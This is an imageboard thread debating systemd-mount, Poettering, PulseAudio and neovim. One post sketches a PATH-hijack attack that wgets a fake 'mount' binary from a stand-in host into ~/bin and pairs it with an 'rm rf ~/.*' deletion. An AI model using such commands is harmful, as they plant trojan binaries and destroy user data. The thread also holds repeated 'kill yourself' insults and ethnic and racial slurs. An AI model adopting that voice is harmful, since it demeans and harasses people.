systemd-mount

>>56215397
At least present a reasonable argument to why that is a bad thing.

What a useless thread. Just like your life.

>>56215472
hello there, poettering.
how are you doing on this fine day?
systemd-wayland when?

>>56215653
>doesn't present an argument
>when asked for an argument, resorts to ad hominem

You won. I give up. Systemd a shit.

A SHIT, I TELL YOU!

>>56215676
yeah but when will you push the wayland module, do tell me

Thank you Lennart Poettering for your great work on systemd and helping make Linux great.

>>56215397
kek

>>56215695
We will build a great walled garden, and make the pajeets pay for it.

>>56215653
>>56215397

I suggest you read the article before you start embarrassing yourself.
It's not replacing the mount command (system call). It's adding a feature to enable mounts to behave like units which you can then use to schedule mounts asynchronously.

You were most likely one of those idiots who also thought systemd would replace "su" with its "machinectl" tool. I suggest you kill yourself before you cringe someone to death with your uninformed comments.

>>56215734
> calling others idiots

OP here. I literally posted a link.
No one said anything.

Yet you came running here to defend your husbando - from what? But, it's okay, we get it, he is yours, you are happy. He loves you too.

>>56215734
>You were most likely one of those idiots who also thought systemd would replace "su" with its "machinectl" tool.
Not him, but Poettering did say he was going to replace su. He is full of shit, and OP has legitimate reasons to be worry.

>>56215765
>OP has legitimate reasons to be worry.
No he doesn't. Poettering doesn't have any control over what distros take into their repos. If he spouts retarded shit, that's his problem and no one elses. If he starts tying code into his project that no one else wants, it'll just get forked.

>>56215472
obviously because the mount manpage is to hard to read. they've used the same argument for their systemd su

>>56215765

Yes, replace "su" with a new tool for systemd-nspawn containers. No one is taking away your "su" for actual tasks for which "su" was made.

>>56215756

>Systemd.
>Now with "mount".
>Because fuck you /g/!
>- Poottering

Why are you backpedaling now?

>>56215397
2017: systemd-coreutils
2020: systemd-GUI
2025: systemd/Linux

>>56215803

Do you even know what this new tool does? Because I don't think you do. Do you know what machinectl does? I don't think you do.

>>56215807
>Why are you backpedaling now?
Most of /g/ hates him, and he does have that shit eating grin.

Back to the topic.
So basically if I understand your posts correctly, systemd is a good thing, and wrapping things is cool.

So in the next few years we will have only wrapped systemd commands? Would that be a nice future?
I am just curious.

File: fuck_systemd .png (14KB, 142x144px) Image search: [Google]

14KB, 142x144px

>>56215397
http://without-systemd.org/wiki/index.php/Arguments_against_systemd

http://forums.debian.net/viewtopic.php?f=20&t=120652&p=570371

File: 1467480397916.jpg (54KB, 640x458px) Image search: [Google]

54KB, 640x458px

Can anybody explain what is this 'systemd is bad\ meme?

>>56215397
systemd-mount has been here for a long fucking time you fuckwit.

Deprecates udev, polkit and autofs bloat.

>>56215818
> it's the year 2018
> mom is taking out my tendies from our fridge, that is running systemd/Linux
> after finishing my tendies, I am back to my computer, which is running Bash on Windows 10 in a systemd container
> it's time to shitpost using the latest systemd-chrome

Hell I just threw some bullshit together then I realized we are very close to this. Fuck.

>>56215869
No. Nobody can explain why specifically it's bad.
Or at least why it's supposedly worse than the 20-year-old clusterfuck full of unmaintainable shell scripts it replaces.

>>56215869
OP and a coulple of hippies are getting autistic about an init system going popular.

Classic anti-establishment syndrome

>>56215870
> deprecates bloat
> literally a huge monster sitting on your computer

We had a unix philosophy like bloat. One tool for one task. Now we have a monster that is supposed to handle these tools ... for "us".

>>56215819
Kill yourself, you insufferable crippled cretin.

>>56215909
>We had a unix philosophy like bloat
The Linux kernel itself is not Unix

>>56215925
True, but the userland was. At least up until the shit eater unleashed his first monstrosity, the feared Pulseaudio.

Oh boy, did I enjoy fucking around with alsa and PA configs all day long to get a single audio source even working. And in the end of the day, I had a shitty quality audio playback with horrible delay and with a huge cpu load.

I am no fanatic, just a person who used Linux for too many years.
> tfw you lived long enough to witness the death of Linux

>>56215869
It's something started by a bunch of non-technical sperglords on here who self-indocrinated into the UNIX / suckless philosophy and think we should never update anything and all pretend we're running Version 6 Unix until the heat death of the universe.

>>56215653
>>56215693
>>56215695
>>56215756
>>56215841
>>56215819
>I cant provide a valid arguement but let me insult everyone instead, maybe this will cover my total embarassment and noone will notice.

>>56215841
>So in the next few years we will have only wrapped systemd commands? Would that be a nice future?
>I am just curious.
Technically yes, because you can exchange the foundation as you want and still have crap working through the systemd wrapper.

>>56215990
did anything good came out of this whole systemd implementation/spread though?

File: poettering-1984.png (192KB, 506x285px) Image search: [Google]

192KB, 506x285px

>>56215900
Philosophy.
Do one thing and do it right.
Systemd wants to do everything by itself. There was no problem that individual, choosable parts could do their job.
But no, ist like
>eeeeeh, let's make our own thing that does thing slightly different.
>as systemd is already adopted by the big fish, anything we add will be taken over by them
>THEY ARE HELPLESS MUHAHAHAHAHA

>>56215978
I know I've heard of people having problems with it in the beginning, but I can't remember having to poke at PulseAudio once in any distro I've ever used, and I was using Linux when it came out.

>>56216005
>but let me insult everyone instead

> having that nigga in your thread that has abso-fucking-lutely no idea what he is posting about, but he still posts

it's okay, upboated, send plebbit gold!!

>>56216040
You are this retarded, literally kys.

>>56216009
But why can't we have a wrapper?
Why can't we have a set of "coreutils-deprec" package?

I mean, if the underlying tools had any problem - I honestly think they don't - we could just improve/replace those? I don't know.

I know FreeBSD/BSD replaces shit for fun, because of muh license and things, but besides that, I think the "core userland" is just fine.
Maybe I would make the parallelized compression default and that's it?

>>56216019
I think their original motivations of managing init dependencies and paralellizing startup were well-founded.

>>56216036
>but I can't remember having to poke at PulseAudio

If you had USB Audio... you should have just thrown it out. It was impossible to get it right.

2.1 was a pain in the fucking arse.
It was do-able, you had to do that alsamixer 0 thing to adjust anything useful, then pavumixer, then had to mess around to get the settings saved and loaded, but yeah. Then there was the apps not really working, the delay, the cpu load too.

5.1/7.1 God have mercy upon your soul. Same shit as above, but add PA config editing, trying, rebooting for days or weeks even.

More sound cards, sinks... just fucking no.

>>56216019
Pulseaudio and the new Network Manager.
Everyone uses them

>>56216096
Got a point there. IIRC Ubuntu's init (upstart) had both though.

>>56216122
OH YES, the fucking Network Manager, the second bane of my existence. It never worked, no matter what you threw at it. It just sucked so fucking much.

But yeah, lately ... since Ubuntu 14.04 or so, it's able to bring up a dhcp eth0 interface. So that's something.

>>56216153
It works better now since we have a standard init across the distros

>>56216073
>we could just improve/replace those?
No, because one might want to break the underlying APIs, because the old ones are shit tier, as expected with most UNIX like faggotry.

Deal with the change, at some point you might see neovim replace vim in most bistros, not so much because it's godlike superior - which it is, even now, but because Molenar is a PITA to deal with as the closet feggit he is.

>>56216199
Trust me, there has been so many neovim like 'revolutions' and things always went back how they were. I understand that the neovim dev is buttblasted, but take a look at what happens to these "open projects". One blink of an eye and you get called sexist for the word "vim" and you are forced to change your project to "xim".
Not saying that is a good thing to be too strict, but each has it's pros/cons.

> old ones are shit tier
Why are they shit? Just asking...
Windows 10 / OS X has a modern desktop environment, and they still have their old commands available in cmd, and well, both have very old codebases.

>>56216122
>Pulseaudio
>good
kys

>>56216181
True, but that's just systemd's init system.
Systemd does a lot more than that.

And as it becomes matured, some distros (LTS, enterprise) will have the older features, the newer ones will have different features.

And it's not a small change, it's like a Xorg->Wayland switch with every few versions. Now changes are cool, but hey, so much for interoperability.

>>56216254
>>56216257
IDK my USB sound worked ootb with pulseaudio.

I am now making a pulseaudio network server so I can channel all my sound to my desktop/server.

Does ALSA have that?

Good that I'm using openRC

>>56216280
Nope, ALSA is stuck in the past.
I used OSS with my USB headset, that thing, worked for all kind of sources.
It had no lag, it had a fast, usable, solid real time control/toolset, and it used almost no resources. It was magical. But the license is restrictive, it was always just an alternative on Linux.

I think ALSA's multi-channel (it was an option in kernel, I think it still is, but fuck me it was a long time ago), was the best option.

Maybe if they improved ALSA?
Maybe if PA would have been an ALSA fork / "ng" it would have been better.

>>56216254
>I understand that the neovim dev is buttblasted, but take a look at what happens to these "open projects".
You have no idea what neovim is about.

It's about all relevant vim devs being "buttblasted" by molenars shit tier dev model. They are more than a hundred, backed financially by companies and already delivered a nice first release with lots of fixes for braams shit for starters, unlike that non-systemd joke project.

Since then, original vim devs had a release that weakly imitated a part of the neovim features, but it's clear that they are fucked, long term.


>Windows 10 / OS X has a modern desktop environment
Debatable, but their foundation is sure old and rotten, because they aren't driven for improvement but by shiny coins alone which can only be sustained by endless backward compatibility, which again can in their shit form only be guaranteed by keeping cmd.
But in case you didn't notice: MS tried to replace cmd. More than twice.

>>56215472
Can you present a reasonable argument as to why spreading OS functionality across a bunch of binaries is a good thing, especially when most *nix users call them without the direct path?

>PATH: /home/me/bin:/usr/bin
>crafty pkgbuild archtards never read their pkgbuilds: wget http://virus.me/fakemount ~/bin/mount
>kekeke
>user: sudo mount /dev/sdc1 /mnt/sdcard (rm rf ~/.*)

UNIX fucking sucks

>>56216119
fuck PA and systemd
I set up a system service to start jackd (compiled without dbus) as my UID (because you can no longer set up systemd to let user services get RT prio)
systemd+udev notices my uid is accessing the sound card so it kicks off a pulseaudio daemon to steal the snd card before jackd gets to it

jack+pa+jacksink+having them as systemd user services (and not having to pass around DBUS_SESSION_BUS_ADDRESS env because dbus can't do that automatically without X11 (?!))+having PA jacksinks survive S3 is close to impossible.

apt-get remove pulseaudio
I'm happy enough with jack+alsa

>>56216546
>it's a debibabby's rant
>>>/trash/

File: neovim.png (301KB, 640x970px) Image search: [Google]

301KB, 640x970px

>>56216483
But neovim also proved bram right in a way

>LET'S ADD MOAR LIBRARIES
>LUA IS KEWL
>I WANT A TERMINAL LET'S ADD A TERMINAL TO A PROGRAM THAT MOSTLY RUNS IN A TERMINAL

It's turning into emacs, except emacs has a lightweight core that just handles elisp itself and text display, and keeps all the irrelevant wants of nerds in elisp. Any heaviness and complexity in emacs' core is mostly because it's a lisp engine with support for multiple display toolkits. Neovim is shoving shit RIGHT INTO THE C LANGUAGE CORE. GOOD IDEA. VERY GOOD IDEA.

>>56216615
>Neovim is shoving shit RIGHT INTO THE C LANGUAGE CORE. GOOD IDEA. VERY GOOD IDEA.

Core editor components should of course be in C, to minimize possible input lag. High latency input by scripts is a common problem, you can witness in both Atom and some game engines that replace half of their game code with "scripts".

Apart from that, no idea what you are talking about. Of course, Lua is a good replacement for better VIML scripts, but for real plugins you'll have to use the binary IPC, as it should be.

At the bottom line, neovim still has less code, because much of brapps nonsense got purged.
You know, I would have doubts if it was somehow based on npm packages, but libuv is a proven library, as is Lua and both will easily outlive brams faggotry.

>>56216743
Input latency in a fucking text editor isn't a concern. Latency at all isn't. You should be using a straight up script, not a macro of keystrokes, for serious batch editing. Hell, acme including the sam command language right in its very own binary was a mistake.

Modularity and flexible design are concerns, because a text editor is a personal tool, not just an editor. So personal that there is a thriving market around editors pre-personalized to be programmers work environments called "IDEs". The more you have in C, the less that can be changed.

>inb4 lol just use tmux lol unix way
UI consistency, man. Context switches aren't good for user efficiency aka the only efficiency that matters.

>less code
What the code is doing is of far more importance than how much of it there is. I'll take a good design in three million lines of C over hardcoded retardation in 300k. Go be a SLOC counting suckless fag somewhere else, you make the cat-v gang look like the pinnacle of human intelligence.

>>56216033
https://github.com/systemd/systemd/pull/293#issuecomment-113576664

File: 1468629176611.png (109KB, 717x642px) Image search: [Google]

109KB, 717x642px

>>56215818
Allow me to enterject
What you are referring to as "systemd" is actually "SystemD/GNU/Linux"
I am glad i would inform you today.

>upgrade Ubuntu 14.04 to 16.04.1
>kernel panic on reboot
POETTERRING

>>56218403
>POETTERRING
No, it's ubuntu

>>56216586
don't send babbys to my fucking board i don't want his grubby neckbeard hands on my herm trans cum inflation hyper boob furry porn

Can someone explain the appeal of neovim to me? Their site's a frivolous pile of garbage that barely explains anything and apart from trashing the Amiga support like a bunch of gaylords the only feature that stands out to me is the msgpack API, which is sort of cool though I've never done much editor scripting of my own.